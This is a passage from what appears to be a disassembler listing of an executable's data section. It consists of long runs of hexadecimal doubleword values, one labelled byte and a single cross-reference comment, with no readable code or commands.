		dd 0D6614D1Eh, 8173181Dh, 9986250Eh, 5962E0A1h,	2AEF3040h
		dd 16D871CCh, 3CFC5Bh, 2F53D159h, 0A0EB6CAh, 0A0103822h
		dd 7770F3B7h, 0B0180273h, 24BC5C87h, 0EC0107E0h, 0D6BA630Eh
		dd 21B8E075h, 108C1D9h,	7CFFFDAEh, 0C4AD67A1h, 38138174h
		dd 9021BF52h, 34F802DFh, 217F69D8h, 5C91FC00h, 100788Bh
		dd 2E9ED164h, 0D31432h,	6AA834A4h, 667DB64Fh, 7B003898h
		dd 1231E37Ah, 143CD58h,	923E575Ch, 0FC25266Ch, 11001C44h
		dd 62376787h, 60F0A3h, 433C484Eh, 81B3BB9h, 2165A600h
		dd 396C58AEh, 7C30E1EEh, 40A30073h, 7FA10828h, 93092A1Dh
		dd 0FD3178B6h, 0ECDFCE80h, 0AE002C80h, 6B47C0A5h, 380F9351h
		dd 7448CAC5h, 5F72FF0Eh, 0FCD15119h, 0C2038D5Eh, 9FD9AC68h
		dd 0DC0E88FCh, 0E723002Fh, 0D032B194h, 0C0908772h, 516E0A00h
		dd 631FA192h, 2C8300DCh, 37B4EF32h, 0EB07C59Bh,	4D11A7C3h
		dd 0C8CAEE40h, 35BA24C6h, 0ECC70031h, 0D8121E50h, 0E7047601h
		dd 6B26EF1h, 29109884h,	0C8C092E5h, 0BE75F780h,	0E2E64426h
		dd 0FC37200h, 74FB88F7h, 1107741h, 6D8BB725h, 0C02A5582h
		dd 0F6169585h, 0C10E5F70h, 59E460F0h, 4CA769F1h, 0F300014Eh
		dd 0E53C63CAh, 0DF3D7C61h, 23FF96F4h, 41B32400h, 16C6D173h
		dd 40AD79AFh, 0E4872C0Ch, 9300D069h, 0FA4C6FACh, 0D7D50Fh
		dd 0B709D24Fh, 35C7EE27h, 9DB03D04h, 98C56806h,	32776000h
		dd 6926B1h, 0BA301F6h, 0F90FCFEh, 0AEB9EC3Bh, 0CE078CCCh
		dd 0AD30D593h, 758DBC9h, 1F1E4FFh, 9972C0CBh, 8E07F7E8h
		dd 579B95A6h, 26A23750h, 2B1100A0h, 6913A6Dh, 0F700FD72h
		dd 0B7A455F9h, 0EBA158h, 0DADEC09Dh, 8010374Dh,	0E1E0CE0Eh
		dd 0EE2CC050h, 1539CCh,	0C3DD7994h, 71F4C7BEh, 830F537Fh
		dd 20493CE5h, 6A356EAFh, 84E90F2Eh, 1F20B336h, 0AB18D2DEh
		dd 90A94000h, 0AEFBDDD6h, 0FED3E810h, 16220035h, 0AA4CF655h
		dd 0EB26BF6Ch, 0F7001480h, 0DEB16208h, 3FD3F81Ah, 0C585CFC8h
		dd 8194B845h, 0CDA0E240h, 0EFE3ECC3h, 8012B939h, 38FFA8BAh
		dd 3B0A91B7h, 5081AD17h, 44A786D8h, 5C74202Dh, 2E22209h
		dd 457C8170h, 18877B16h, 0E0FD7172h, 0F23ADE1h,	8FFEAA00h
		dd 4AA02AE5h, 0BC373F41h, 0C0EAD100h, 0F23F1394h, 0ED9C0812h
		dd 0E2C17C07h, 980FE02h, 6D55380h, 30B0982Dh, 0B60E1F7Ah
		dd 0DCB8C073h, 1A40D4AEh, 0E965ABFh, 4966524Dh,	0B833BCE0h
		dd 9E00B5D5h, 5393DA55h, 9221B22Dh, 959C007Ch, 4BB55856h
		dd 0FD01DC60h, 91523C5Eh, 17F0394Ah, 56AF5CE4h,	0A6D92230h
		dd 3600D92Ah, 19F290B6h, 1A3EC13h, 4A8846B5h, 70E4280Eh
		dd 7E00828Fh, 57EA86E6h, 84011Bh, 0B8CECF87h, 4C475192h
		dd 0EB0380C0h, 2FF3A2Dh, 9CCAD06h, 8DC0B3D1h, 160F5A8h
		dd 6F5D9448h, 77CB00F6h, 344266A5h, 31D8119h, 6833992h
		dd 7ABCADDh, 47333630h,	4680003Fh, 0C0A020FBh, 9809D215h
		dd 0AB1262h, 9C5D3F79h,	4A553BEFh, 77BDC809h, 62944880h
		dd 0C6008CB3h, 4FA0D67Bh, 12310609h, 322735h, 74711706h
		dd 1C002BF3h, 3A9648D1h, 0A5AFBEh, 5A6CDD6Eh, 5701E2C0h
		dd 73909060h, 1D66BBh, 7FF62768h, 9F705697h, 7E00FF73h
		dd 16D8E414h, 18740A72h, 88B17651h, 15E0A5EBh, 86C6412h
		dd 7B0026A8h, 9CC24BBCh, 0AC704116h, 6CCE8700h,	66AADD71h
		dd 0EB6E41Bh, 62FD2AE7h, 0B0F8AAh, 2E09DA0Ch, 1603B113h
		dd 467BFE81h, 286FA0F7h, 35E7007Ah, 0E9D35206h,	442EB1AAh
		dd 0D10ABEF9h, 0ED0AF479h, 6D00C085h, 0B20DAFF0h, 0E9220032h
		dd 2546C4C6h, 4FEE9E5Bh, 3E527400h, 211DD1C2h, 7B8A07D7h
		dd 60A6BB70h, 7527CFBAh, 0D104600h, 76A1C220h, 5390A08Bh
		dd 42FF00EEh, 3B849E0h,	0A503D002h, 0E736B75Ah,	9370B75Bh
		dd 3FA63BBCh, 3E00D3B8h, 0B06C5A5Fh, 9905F905h,	90EBC0B5h
		dd 0F8120783h, 0E1E34Ch, 0C40F4DBBh, 480ACAC7h,	64FE3Eh
		dd 0EE9D5E30h, 1F1EC4Eh, 7C7F115Dh, 8F1E4A25h, 0A3F2A429h
		dd 0C37B0610h, 858AD1EBh, 0A1070C28h, 206D9E4Fh, 0FC3AEFB7h
		dd 0F74293Fh, 80421AA4h, 97CF07DEh, 0ABE1001Bh,	0C0DC165Dh
		dd 39600187h, 7A149CB0h, 0DDB537B6h, 43C86018h,	0EA0073B8h
		dd 0DB8DF7A3h, 5E59F0h,	3E4BD93Ah, 0E50AC0Fh, 0E0970D1Dh
		dd 0DBE4BF00h, 73D3CD17h, 612300E1h, 4407C127h,	0EA1CDC86h
		dd 5F0E37B8h, 82F7C0CEh, 0AA1B60h, 13707D0Ch, 92810DE2h
		dd 0AF71B8B0h, 0D3DCB600h, 231637B1h, 1FE6039Ah, 0D51EACF0h
		dd 670E4FE7h, 27A81D00h, 44652FE8h, 48976E68h, 0C12B2440h
		dd 0A2BB0076h, 0BE9F239Dh, 8E003087h, 0F6589677h, 4E1B25h
		dd 0C2EA2AF5h, 0CF9B9D48h, 199C7F0Fh, 807E605Dh, 0F32BCDh
		dd 0CC689889h, 6582FDC2h
		dd 39FA1D02h, 407308AFh, 4F7F836Fh, 9F5840A0h, 7E598CC0h
		dd 13900148h, 840577D3h, 8C02A45h, 519F33h, 84B3AC1Fh
		dd 286703ABh, 0D4F6F700h, 0F604799h, 0E5EF00C0h, 561CBBA1h
		dd 34198D0Bh, 8360863Dh, 0CC6A9Ch, 0AEE4ACEFh, 343B55A6h
		dd 0A4290D0Ah, 0ECC18986h, 1DB62090h, 1049EF1h,	0F2065D56h
		dd 8B211096h, 29378079h, 0E0988E8Dh, 0DBC77800h, 56B1B202h
		dd 76080036h, 86C6E74Ch, 606CC801h, 285839h, 0BCDD8B38h
		dd 0EC035947h, 0A933F8BAh, 715480ACh, 29400039h, 3AD1FBDFh
		dd 0B700DC9Fh, 0ABF28187h, 3F28D6E2h, 1200B161h, 0A79AA16Bh
		dd 0B00460B6h, 3B434BBFh, 0D464C780h, 9B123E5Eh, 6598B180h
		dd 4144BAA0h, 2B86D00h,	0C135F977h, 0F574B4h, 2F7F43CFh
		dd 36C85272h, 2DB3DF00h, 4992FCF0h, 0BE1102C5h,	81DEAB96h
		dd 9F22E9E0h, 98154D00h, 0D0A3B391h, 9C7A00BEh,	6DC69709h
		dd 0E40267DDh, 0EB9F4F8Fh, 0FE7CD025h, 6B3907E7h, 87844A9Dh
		dd 478184A8h, 1F885AEAh, 0BCFB0768h, 8AE68292h,	73416927h
		dd 310B191h, 7C1EBC9Ch,	39308A06h, 60EA2598h, 0BA0211A6h
		dd 7208C57h, 88275A0h, 9FEB456Ah, 0B66C2980h, 8072328Dh
		dd 430811A9h, 4C788144h, 9E815B49h, 0FF2C2911h,	5027A5h
		dd 9192A0C6h, 70E88h, 85D24449h, 0A686F159h, 15CA2319h
		dd 0C070ACE0h, 6384A096h, 1A40CEFh, 4F10B917h, 230C86E0h
		dd 38F92635h, 0DE4801EDh, 5D5FB7Bh, 8863D992h, 760A960h
		dd 870A4AF8h, 84100CC1h, 3E5F0C1Eh, 4B50CEC0h, 0F083256Fh
		dd 0F5C7C54h, 55336131h, 47A6C85h, 0C0364D14h, 24824646h
		dd 3E68BA26h, 0D8209212h, 1EF3DA3h, 4C5E0ACBh, 98460266h
		dd 44219F08h, 0E8EF0035h, 93C29B1Fh, 3A0A9462h,	0EC71EA09h
		dd 86728A80h, 1DDD6ACDh, 739EF3Eh, 0F0D5B94Dh, 997DFD9Ah
		dd 1F15D606h, 0CC87411h, 9681ED2Ch, 570183F0h, 4B39F8A1h
		dd 20204940h, 340B07Dh,	3ABA2731h, 6803AD8Dh, 93B52D0Bh
		dd 19FE88B3h, 0A0894812h, 0CFDFDD00h, 3135015Bh, 7B20AB60h
		dd 29587577h, 0C2203B37h, 3330DAFDh, 818D0041h,	5963D97Eh
		dd 530C291h, 0EDFB3095h, 0A02755BAh, 0EF3A30FAh, 460AC211h
		dd 43829488h, 0E36EEF32h, 11FFA077h, 8BC4887h, 4005853h
		dd 0DB0B4B19h, 0C0791A5Bh, 2A5C052Ch, 0A9A08038h, 0C4FC5285h
		dd 0BDD5302Dh, 9653890h, 0A512D800h, 0DB9E040h,	14D7696h
		dd 0FF7544AFh, 83BE6339h, 0B13DDD68h, 7C38269Eh, 54DC2211h
		dd 2828CEAh, 681BAF8h, 0DC449156h, 0E10031ECh, 283CE4C2h
		dd 190FD984h, 48B8792Dh, 4D26306Ah, 0D8DDD8A0h,	0C9057B3Ah
		dd 250906D0h, 328991Dh,	2764528Bh, 3BA012AFh, 9490A2E2h
		dd 0E701F208h, 0A46A009Ch, 365F77DAh, 52DD3A04h, 9CC1F96Eh
		dd 1887D925h, 89D1F521h, 0F7821803h, 244057C2h,	0A1C6707h
		dd 11F0A9FFh, 220F087Ah, 674C76E9h, 0D85C2B30h,	0CFEF3901h
		dd 9A183E0Ah, 314088h, 0A21830EFh, 8D585A6Ch, 41642930h
		dd 605B39F0h, 0B71CF847h, 80F2C571h, 0D830665Eh, 1851CAE9h
		dd 197C8162h, 5C0097FEh, 3B9522A3h, 0C1F57Eh, 9D27C2B3h
		dd 28BFC919h, 7B0EA90Ah, 0A00798B2h, 86293A58h,	18598B88h
		dd 5167308Dh
		db 5, 8, 0
byte_5346C7	db 0C9h			; DATA XREF: sub_58A891:loc_59E061o
		dd 86A72627h, 78F4EB13h, 537A0634h, 86AAB30h, 938FBC80h
		dd 82FEA818h, 483A59A1h, 0EACA5856h, 0BE9C40DCh, 9103AA40h
		dd 28CC399h, 2AD100A8h,	0DFB6C18Dh, 0F13B263h, 80405CC5h
		dd 5F50A7ECh, 7E0A0622h, 6993924Ch, 6CCED81Eh, 0F1491D1Dh
		dd 2C8500FEh, 4365C04h,	80945AB7h, 8D1C9858h, 0A441285Fh
		dd 68B2FCCCh, 402706F0h, 9844EBAEh, 30B900BAh, 5E4ADE95h
		dd 6D1C9994h, 0BFC02BE1h, 450585Bh, 97B40202h, 9CEA130Ch
		dd 2F6F3E21h, 22C6E4h, 0D678ED19h, 0B64453BDh, 0F800F4FEh
		dd 58FD2643h, 0A26631C8h, 519800A4h, 0DD88EACAh, 91E040A9h
		dd 232F026h, 4D666000h,	0C31D648Ah, 22389027h, 0FB007C86h
		dd 0DAF2F0E6h, 0B13214h, 85B3288Bh, 0DC6AA446h,	0A0231502h
		dd 0A080FDA8h, 29D3089Ch, 36A70F56h, 9E3DA7Dh, 81F4C91Dh
		dd 0D48011A8h, 0AF6051C2h, 29648311h, 676F1CB0h, 1F088206h
		dd 0D0845A71h, 244C8A81h, 12070CC9h, 0E03D06EBh, 0C0F82421h
		dd 58380C5Bh, 0FC319591h, 0F87EF600h, 9DEF84B8h, 6C090097h
		dd 0EB088746h, 625082FFh, 38415194h, 32CB8A8h, 8DCE1A65h
		dd 31000B6Dh, 211E231Bh, 12675182h, 4CEF36h, 0BC150FA0h
		dd 0B316B1D6h, 2820EBCBh, 68CA0h, 811D5C26h, 7B9334Ah
		dd 4FC64000h, 397E51CFh, 146201E0h, 636DEABCh, 30F0755Bh
		dd 88884DCh, 73A52CF7h,	0E40240A4h, 1002C569h, 1FD2740h
		dd 43286193h, 44171470h, 31118382h, 27506780h, 0F15701C1h
		dd 0FAADA65Eh, 2089846h, 503821h, 0AA75A1C1h, 62862EA2h
		dd 9325191Eh, 0FD24067Ch, 0F868A3F1h, 50CCB80Bh, 0E992DC90h
		dd 2D21A980h, 0B984E5FFh, 0D8EC48h, 220E4E53h, 903AD5Eh
		dd 0FF50651Bh, 0B8204B89h, 0EAE11232h, 6626A109h, 0FFA890A7h
		dd 0ACEA8391h, 0A8A968E4h, 81A42059h, 3020A941h, 0B4DA1h
		dd 0BC73EB15h, 700353Bh, 8FAAB34Eh, 817E2FDEh, 9F5BB901h
		dd 5A4B3117h, 101CFC40h, 36A91395h, 40405D21h, 5EAADAC3h
		dd 0CC5C02C2h, 0ADD1139Bh, 0A0F6C00Ch, 95D70BFAh, 0A1057AF3h
		dd 23B43AAFh, 5F4D0976h, 12E35803h, 20D5F2B1h, 0D9C18E01h
		dd 10D5B27h, 1535B07Bh,	0A7E8CF00h, 993A647Dh, 0AC3D49F8h
		dd 4D184C01h, 0CD25DA8Dh, 8C6C34E5h, 9CB2012Ah,	0CD750290h
		dd 0B53DCA0h, 0EC479424h, 24606216h, 21CDEF3Fh,	0E0CE6E0Ah
		dd 39A1EF37h, 7CB90448h, 222B8D54h, 0A26FE1F2h,	0C804D844h
		dd 78C8FFB0h, 8DD1C3AFh, 3138752Ch, 0AE59E092h,	7E2B3A8Eh
		dd 45C90095h, 0F4F0AB64h, 0C8137A79h, 8015D92h,	5788AD49h
		dd 7D1BC820h, 8FEA2619h, 27DA80A4h, 81FF8A42h, 6448A4B2h
		dd 0FB2530h, 0FD213A5Ch, 80A751C5h, 603D07D0h, 106C2869h
		dd 0DCAC3283h, 5011C1E2h, 778846F1h, 0C1533B80h, 5D39F10Eh
		dd 6A017C43h, 3F40BE9h,	0E5F04880h, 0DAE662B0h,	0BACA1700h
		dd 23AD7491h, 39E800B5h, 91C8DB7h, 201CB35h, 0A8844D86h
		dd 2420BA5Dh, 0C1F68C34h, 76F15A11h, 25807588h,	586AC155h
		dd 21320FE0h, 0E899C9E5h, 194765Dh, 1A15CCFAh, 7C768448h
		dd 0D7365204h, 4510224Eh, 6001E464h, 0C84DA22h,	0DFED440Ah
		dd 0B66089D8h, 1963CB60h, 90F7005h, 6DB92736h, 0EC024029h
		dd 24006A79h, 0D38771EDh, 4F940FB8h, 5C40E109h,	0EC30FF0Eh
		dd 8D26282Ah, 18746BB1h, 99E21887h, 79179090h, 0B8710F9h
		dd 1570C1CCh, 815F55F7h, 0FFB5BA69h, 0DC290A2Dh, 0A34209F8h
		dd 0A98E7511h, 461A2008h, 3D107EDAh, 0F00FA679h, 39060BCBh
		dd 0C24C119Ah, 0EDEC5495h, 6F51281Eh, 8FF65381h, 0A4FF1AC7h
		dd 0F5D5B890h, 6DF60F9h, 0FB1C94E6h, 0B04C2C02h, 0E06DB727h
		dd 0A89091C8h, 12B442A0h, 0A3EE8Bh, 8D65AD9Dh, 0B60E4B88h
		dd 23754CE9h, 9AF95AC2h, 28107443h, 9984FD9Dh, 0C478D9E0h
		dd 0E7CC00BCh, 150BBAFFh, 40929FF6h, 7050C700h,	2AA19763h
		dd 0E490ABA5h, 0B8283AC0h, 0DC081E9Fh, 9E3607F9h, 0A0899B8Ah
		dd 31193019h, 0BB84052h, 0EA38F8B0h, 0B400C286h, 7919B3A4h
		dd 4A0057DAh, 0F1EC29FFh, 1ECEA542h, 411B3EC9h,	78C3098h
		dd 24A05091h, 57E5F5A8h, 0D6370098h, 3D00D410h,	4C3B128Ch
		dd 0F4907F7h, 34CDF064h, 1B0E67C3h, 21EB8903h, 0DDFFABh
		dd 25EDEE1Ah, 790D676Dh, 6E00D87Dh, 4EC1805Ah, 169E972h
		dd 1145C419h, 0C574302Fh, 64EE4021h, 0AF0C117h,	0E9C71D07h
		dd 76401659h, 0F01CF705h, 301E0370h, 3AF30C5Ah,	214E4087h
		dd 2D030301h, 22737A39h, 18078872h, 7DE01Eh, 3463C13h
		dd 0D47C720h, 0B3D170Ah, 95503898h, 0F134F00Eh,	181895D2h
		dd 83608A0h, 0B0C02DF0h, 45CBC65Fh, 72150069h, 0C1190E79h
		dd 4E006AA0h, 2D094722h, 0F06C641Dh, 7510227h, 98AB2BC2h
		dd 17F96881h, 0F722E165h, 0E2983941h, 4B1904BEh, 6010A323h
		dd 34F7DD4h, 0E7BBA0E6h, 6AC0F7FAh, 0C3902B79h,	31ECFD03h
		dd 69F0122h, 0E0996930h, 3803194Dh, 9780A5B0h, 0E81103FEh
		dd 54DF4E06h, 0E3E0AA83h, 0F4504968h, 3205EA2Ch, 0A0F860B3h
		dd 4CA50C60h, 0A78C85E6h, 188D3079h, 59ED54D9h,	9D61B327h
		dd 236C2279h, 40BD5A71h, 0E8E8CA19h, 0A94098F2h, 54661459h
		dd 28FE786Ch, 4358D538h, 1621BF2Eh, 0EFC390DFh,	807573C8h
		dd 6EBF1CE7h, 9809E3A3h, 2FEEE639h, 6F3B43CCh, 0CD280312h
		dd 4D23AEA1h, 40DB57A1h, 555D4E0Ch, 0E4A549h, 4913EB21h
		dd 0EE131E8h, 61B76816h, 18B1D83h, 0BA721904h, 0FC90351Ch
		dd 488FB5h, 566A7FB9h, 0D6EB22DDh, 0AFCDD90Ch, 13E91949h
		dd 5F59B2B5h, 583C9414h, 188D1902h, 649D9D60h, 1277E08h
		dd 0E7B77817h, 88C54E6h, 0B84879BCh, 16865710h,	0CE0C8073h
		dd 19F9246Dh, 0DF322906h, 0E06894F8h, 4980F13h,	41F42F5Ch
		dd 0FEA38099h, 23304006h, 658BC14Ch, 8CEB5285h,	0E48D3A22h
		dd 0AA12F41h, 8B913820h, 32E99821h, 83139090h, 1868044Fh
		dd 428AD449h, 99BB9C0Fh, 0E08C7988h, 0FE58E938h, 2922FD40h
		dd 3194D2EAh, 509E5440h, 7633DBE0h, 0A4910C91h,	9A80A52Bh
		dd 0C3099F5h, 8CA057F7h, 0D0588D7Bh, 0D52BAA04h, 0E0221888h
		dd 0F4A07214h, 6D884EDDh, 0A5E94404h, 0D7E7E014h, 1CE104C8h
		dd 288C02A3h, 80148AEDh, 0C99FE68h, 8046F0C2h, 2EDD088Ch
		dd 0F60C99EBh, 0A8940AEBh, 0C84CD510h, 4580A15Eh, 0CA05149h
		dd 81419B84h, 2316D3E0h, 8F17FC9Ch, 920DE151h, 0A07C4EB1h
		dd 0EE89854Ch, 0BA1404D8h, 6BD8224Ah, 1D977410h, 0F25061D5h
		dd 590115FBh, 5DB2A929h, 552951BFh, 0C48137A8h,	71B4C883h
		dd 55D8E452h, 584DF230h, 494C2595h, 1F23AA2Ch, 0BF29115Fh
		dd 4E4700Fh, 7A6710D9h,	48F5FDA0h, 0E01F78CAh, 0AB702247h
		dd 8ADC8482h, 83231341h, 0FC188071h, 589BF4CAh,	3770C7E2h
		dd 20BFC87Fh, 929C824Bh, 33C30A8h, 0D72A2350h, 3CA3E8C8h
		dd 0C6A88582h, 0D8AA3CDAh, 0D8A23C39h, 388FD8D4h, 80244C20h
		dd 55811C36h, 7D02372Ch, 5C3ED02Dh, 0C37E9A07h,	13008EC5h
		dd 59980EC1h, 8F5AC43Ah, 6A47C72Dh, 2511418h, 0C30D3EE0h
		dd 9013130h, 7C5AC1DFh,	16800713h, 0E7D523Dh, 4E74C619h
		dd 476833Dh, 9006361Ch,	4F46CB12h, 19C0E918h, 0D02DE135h
		dd 471155C7h, 311A3345h, 37C27FA0h, 3E784661h, 3186015Ah
		dd 5931C30Ch, 4DF33777h, 10220Ch, 74CA2D55h, 39C2157Dh
		dd 88D00947h, 251C9C0Ch
		dd 2060D012h, 7D42FD31h, 3C905822h, 68566724h, 0E2319B18h
		dd 90F77FB3h, 1250078h,	3F1542D3h, 604021Fh, 58053091h
		dd 0F80F7702h, 51E8C448h, 49EBE0A8h, 906FA300h,	0B5B72DCFh
		dd 7180E1B3h, 0D8BE1925h, 9740545Dh, 91B2CEAh, 61658804h
		dd 0AAF2F104h, 99B8B091h, 94C58001h, 221818A1h,	2DCE024Dh
		dd 64B3AA49h, 0AD803483h, 976D3106h, 6318EA46h,	0D4E759F3h
		dd 4CFB44C4h, 1208830Dh, 0C306B840h, 59693A29h,	59A3B866h
		dd 81CB837Bh, 4BC81096h, 0CF58A12Eh, 83275182h,	3860F609h
		dd 9E60B44Ah, 0D8D7D620h, 0F0E65941h, 0BBD0CC28h, 23D0A098h
		dd 0D90102A3h, 0F9B5F7BBh, 9781308Ch, 8B229969h, 3F549082h
		dd 744AADCAh, 0F76CC1A8h, 4FDC430Ah, 0DD8DF106h, 32313B04h
		dd 4DD9A280h, 0E40D4CA9h, 0C01C29B1h, 0A4CBB3EDh, 83C0B1EBh
		dd 58D36DA1h, 0FE963116h, 4C615C4Ah, 4A581995h,	78C02C64h
		dd 867F40A0h, 832B160Ah, 6842A478h, 5792159Fh, 0B8BD746Dh
		dd 0F0648521h, 10172222h, 0AB90C434h, 0FED36C60h, 0A0A28A1h
		dd 0C21325E2h, 70881FE9h, 82F5147h, 0F1EA439Ah,	210A4C94h
		dd 50821411h, 0AC42B4F8h, 0EA45C388h, 0F410283Eh, 11CCA243h
		dd 14841AD2h, 84BB284Ah, 4A17A46h, 4C8018BCh, 21925C9Eh
		dd 146BB26Ch, 60E78C88h, 7816318Ch, 21C16187h, 6B86FBD9h
		dd 144061B5h, 216F7484h, 6F7209F8h, 5406B119h, 55104C90h
		dd 78C994ABh, 6AA0242Ch, 0A9205942h, 90EB9CE1h,	0B2145E10h
		dd 0E6C44C13h, 6E98CCE0h, 0D311A681h, 97698A4Fh, 0EEC34865h
		dd 0EC4022E3h, 0B4128EFCh, 0E844CBF7h, 0DC8CA180h, 0C3A8A4FCh
		dd 0D016D341h, 35122178h, 0A43DBBB2h, 0E06E3800h, 0D7622097h
		dd 7B967101h, 0C5A3C18h, 584735F8h, 490EA807h, 961C0Ah
		dd 437C1DE4h, 58011210h, 392F67ECh, 37F0B874h, 6E030B47h
		dd 0EC030136h, 17804512h, 0D1F94931h, 1128B03Eh, 0F836190Bh
		dd 0CB133B7Fh, 76E0197h, 13120304h, 0D3C31777h,	0C3E884E5h
		dd 43C40EF0h, 0EA083011h, 47C8858h, 0CE09DCD7h,	130E7Ah
		dd 34580DB4h, 187C5251h, 709E83C3h, 6033104Ah, 0C9B080A2h
		dd 20FC40F5h, 106CB440h, 7C294F23h, 9C4DDEB8h, 0EB27097Ch
		dd 1124C0DBh, 0BFEEEEAh, 975504DFh, 48211400h, 0CA4C2971h
		dd 0E4D022F0h, 9DBA3A9Bh, 66452580h, 0A4D38CD1h, 5F5C5573h
		dd 16590068h, 8A2A0B6Eh, 0E7041873h, 0B327186Ah, 70C09EF0h
		dd 832AF96Dh, 3881C789h, 0E9CE06E9h, 0F60141Bh,	3F01C308h
		dd 0C0622979h, 7C93F06Fh, 0BC2000EFh, 38FC23Fh,	5BFBDB6Dh
		dd 0DFBB1001h, 6BA28608h, 0CA216882h, 780250F9h, 0D855036Dh
		dd 0ACBEF82Ch, 72450D62h, 0ECBA20F4h, 50199C83h, 11780815h
		dd 2BA5D448h, 828CAAACh, 8E12AF85h, 806C613Ch, 647ED717h
		dd 0F8A896E0h, 56011A4Eh, 0E1EB38D8h, 7C794D83h, 0AE81A107h
		dd 6ADDE00Dh, 99F8E224h, 489C89CAh, 24733E3Ch, 58E428D0h
		dd 0C8F3648Ah, 69AA090Bh, 829C00A8h, 0BF2C59h, 0E7AD6186h
		dd 701166Fh, 8B121D3Eh,	87C5190Eh, 76871BFFh, 0C078194Bh
		dd 2C1C5060h, 3E540B37h, 0F95D4907h, 0E0044411h, 3B0A4A7Ch
		dd 44BCEF5Fh, 0F617760h, 0C0B61DFEh, 4B79431h, 0D32183C3h
		dd 0C9AB0E2h, 176E0800h, 14F901C1h, 0F3647461h,	90600849h
		dd 5C88AC66h, 0AC2980CEh, 14CD1A0h, 28024FD8h, 4C1A1099h
		dd 9B89DC08h, 30B6F412h, 50594467h, 5E51104Ah, 0EE273212h
		dd 0CF08C888h, 70203E88h, 4D01D820h, 0ABE9CA8h,	0C51D8D5h
		dd 0B26E5F42h, 6450008Ch, 0D2951D0Dh, 60AC9328h, 44610922h
		dd 64896766h, 6A246512h, 58916B48h, 5E445922h, 125C895Fh
		dd 4862245Dh, 22509163h, 7567C51h, 672226A0h, 71143169h
		dd 4DF4485Ch, 8499B8CAh, 44B6559h, 8A92EACh, 9BC40B0h
		dd 72073141h, 224F9FCCh, 0E3C0ADC7h, 0E59BE8h, 30994205h
		dd 0C7415A73h, 9F3C5CE8h, 3E543ACFh, 646C3CB7h,	0D7004440h
		dd 0C34EA242h, 0F05E680h, 731598E2h, 0A6510B04h, 3FF4BF48h
		dd 32ACFA04h, 70889895h, 7A1004FEh, 5F1A206Ch, 0AE386914h
		dd 30131202h, 4B206879h, 0FF6731C0h, 414D0991h,	0FA040B18h
		dd 9619E0AEh, 9056000Fh, 0A5E23134h, 10A0E753h,	38A5DCD1h
		dd 1B25D70h, 0A78E4D17h, 0F03A1A57h, 18C09C44h,	0ECCDB18Fh
		dd 0C39B05EDh, 0FA36C56h, 0C09FB51Ch, 94A53123h, 28A432B8h
		dd 0E4A7A45Eh, 9598293Ch, 3680415Eh, 505931C0h,	7AA7EC9h
		dd 0A121BCAFh, 29A8F6D3h, 0C9F4500h, 2FCF01BBh,	8FEE0359h
		dd 0D1C08E22h, 0E9E168D0h, 1048D260h, 1843D7A9h, 0E0B26E87h
		dd 250013F5h, 7B24D931h, 0E3A33Dh, 4F818E1Bh, 68C4C6EBh
		dd 862EED1Dh, 0A9718800h, 40967E9Dh, 87034E63h,	0E214BEF5h
		dd 0B0F9084h, 5FA40380h, 2EDF730Ch, 546F1CC0h, 3C5858DFh
		dd 1DD7D1h, 2FDEDF2h, 10FB66E8h, 0BC4B8B00h, 496E76A8h
		dd 30875CEh, 0DA45B2CFh, 33D86B95h, 0F8035E27h,	1FC4FEA0h
		dd 0E2DDB0BAh, 59376083h, 1D91B3C1h, 46791100h,	39BDCF0Dh
		dd 3D5733Eh, 5AE4FD68h,	0A5E19DCAh, 0C4198F6Dh,	50E7E566h
		dd 1F9C00EBh, 4CEAFCB4h, 1967A800h, 0D53BC548h,	4E070306h
		dd 0D4F1F9D0h, 7E08CCC0h, 3338E300h, 1A89DF94h,	1740009Bh
		dd 88BC9F2Dh, 0BF003DC7h, 35922714h, 7A83319h, 9F216F48h
		dd 0C0125789h, 4D303AE9h, 42013474h, 713EF91h, 0E7D3DB7Eh
		dd 2F24E8B0h, 0BF40C3ACh, 3BE04A93h, 167A4333h,	36F840A4h
		dd 2931AC1Fh, 0F4C93BC0h, 78359A32h, 230A624h, 6EBD3DC4h
		dd 1C9B9F31h, 20E2E8ABh, 0A9024800h, 0E8247B40h, 5060A642h
		dd 0AD7E8CCEh, 366DE004h, 88C3E99Fh, 0A02EFFEDh, 0AC49BFA3h
		dd 0A8360018h, 0AD3A1735h, 0F305E646h, 3130BED4h, 3A432C70h
		dd 39C4A033h, 0C9E802F1h, 0EDD4181Ch, 194838B0h, 1C834A00h
		dd 2A439A0Dh, 0AEF2E827h, 1408E14h, 0FA1CF27Eh,	0F86CDA4Ah
		dd 18E8E998h, 0F8BCA928h, 31BF9402h, 88C9D202h,	5C550450h
		dd 4D1F1903h, 0F01AF3E5h, 0F810CDE2h, 18390E75h, 308041ADh
		dd 0F1FABD9Fh, 3A354A13h, 311E005Dh, 59027413h,	491DBEDFh
		dd 0A1F82698h, 1BE41E88h, 0C3601C42h, 183ABC9Dh, 0EC492802h
		dd 6639F2ADh, 1C6CA020h, 31A81220h, 89EC1F26h, 7418351Dh
		dd 565FAFFh, 6010C491h,	0EDF8AF04h, 308E48h, 0E4244394h
		dd 0B215B94Fh, 31E82490h, 90806440h, 36142E58h,	54B048E8h
		dd 1829D409h, 39D08128h, 6BE0DA33h, 40956527h, 148FC03Dh
		dd 360092E4h, 40DE3017h, 78D8436Dh, 0FE8C9031h,	26758Bh
		dd 933A60BCh, 9B3625BFh, 5FC4A4Ch, 34E9BED1h, 2F6CE080h
		dd 31BF7892h, 32609630h, 80AC2193h, 3B6F4558h, 61242E9Fh
		dd 0BBE8402Ch, 23A3F3AFh, 2906C878h, 2D6E31A9h,	0E46D3E30h
		dd 0A19FF174h, 0B901BE6Fh, 0BC91353Bh, 63D4D528h, 0EA044318h
		dd 0A9F828A5h, 1714BE3Ch, 0D43042DEh, 9046ACFAh, 1E609BDCh
		dd 0E837002Fh, 0BEDE3361h, 0B8362424h, 261838E9h, 0F09C48BCh
		dd 7E722E3Ch, 4892766Eh, 4007E86Dh, 0ECA326E8h,	4A2CA930h
		dd 1E3C7C60h, 3B1E3638h, 809727C4h, 95AFC08Fh, 0DE0BEBF8h
		dd 0C42E2113h, 6F3B94A0h, 0E4B39F3Ah, 0B1EEDE89h, 9860980Ch
		dd 0B0A87ABFh, 909F7EDCh, 0F0EFE8D8h, 20936943h, 1C07C4A9h
		dd 0BE09FCDEh, 52C46E58h, 0DC1693E4h, 0C0412013h, 306F1D70h
		dd 261F2070h, 1B10AF35h
		dd 0A9E36933h, 4528D7C7h, 6D20C8BFh, 0D22C3152h, 80303C1Fh
		dd 4C174AADh, 3F303436h, 2DE9BC58h, 39BDA909h, 0FADC4143h
